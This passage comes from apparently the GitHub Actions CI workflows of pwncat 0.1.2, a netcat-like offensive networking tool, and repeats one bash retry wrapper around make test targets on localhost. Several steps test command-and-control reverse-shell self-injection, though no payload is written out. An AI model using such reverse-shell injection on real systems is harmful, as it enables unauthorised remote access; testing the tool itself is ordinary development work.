"TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--remote_forward env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] -n/--nodns" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--nodns env: RETRIES: 5 - name: "[OPTIONS] -C/--crlf" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--crlf env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (keep open) # ------------------------------------------------------------ - name: "[OPTIONS] --keep-open 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-000 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-001 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-002 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-100 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-101 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-200 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-201 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 202" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-202 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (reconn) # ------------------------------------------------------------ - name: "[OPTIONS] --reconn 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-000 env: RETRIES: 5 - name: "[OPTIONS] --reconn 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-001 env: RETRIES: 5 - name: "[OPTIONS] --reconn 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-002 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] --ping-intvl" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_intvl env: RETRIES: 5 - name: "[OPTIONS] --ping-word" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_word env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (File Transfer) # ------------------------------------------------------------ - name: "[BEHAVIOUR] File Transfer: send normal" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_normal env: RETRIES: 5 - name: "[BEHAVIOUR] File Transfer: send on eof" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_on_eof env: RETRIES: 5 # ------------------------------------------------------------ # Tests: CNC Self-inject # ------------------------------------------------------------ - name: "[CNC] Inject shell: pwncat as rev shell" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-pwncat env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed env: RETRIES: 2 pwncat-0.1.2/.github/workflows/test-x64-macos-3.5.yml000066400000000000000000001215121414025024700221300ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json name: mac-3.5 on: pull_request: push: branches: - master tags: jobs: test: runs-on: macos-latest strategy: fail-fast: False name: "[x64] [macos] python-3.5" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Set up Python uses: actions/setup-python@v2 with: python-version: 3.5 architecture: x64 - name: Set up PHP uses: shivammathur/setup-php@v2 with: php-version: '7.4' ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash run: | if [ `uname` = "Linux" ]; then echo "\$ cat /etc/hosts" cat /etc/hosts echo ( echo "127.0.0.1 localhost"; echo "::1 localhost ip6-localhost ip6-loopback"; ) | sudo tee /etc/hosts echo echo "\$ cat /etc/hosts" cat /etc/hosts fi - name: Display Bash version shell: bash run: | bash --version whereis bash || true which bash || true - name: Display Python version shell: bash run: | python -c "import sys; print(sys.version)" whereis python || true which python || true - name: Display PHP version shell: bash run: | php --version whereis php || true which php || true - name: Resolve localhost shell: bash run: | echo echo "\$ host localost" host localhost || true echo echo "\$ python -c 'import socket;print(socket.gethostbyname(\"localhost\"))'" python -c 'import socket;print(socket.gethostbyname("localhost"))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET6))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET6))' || true # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 102" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-102 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (Server) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Server quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 104" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-104 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-200 env: RETRIES: 5 - name: 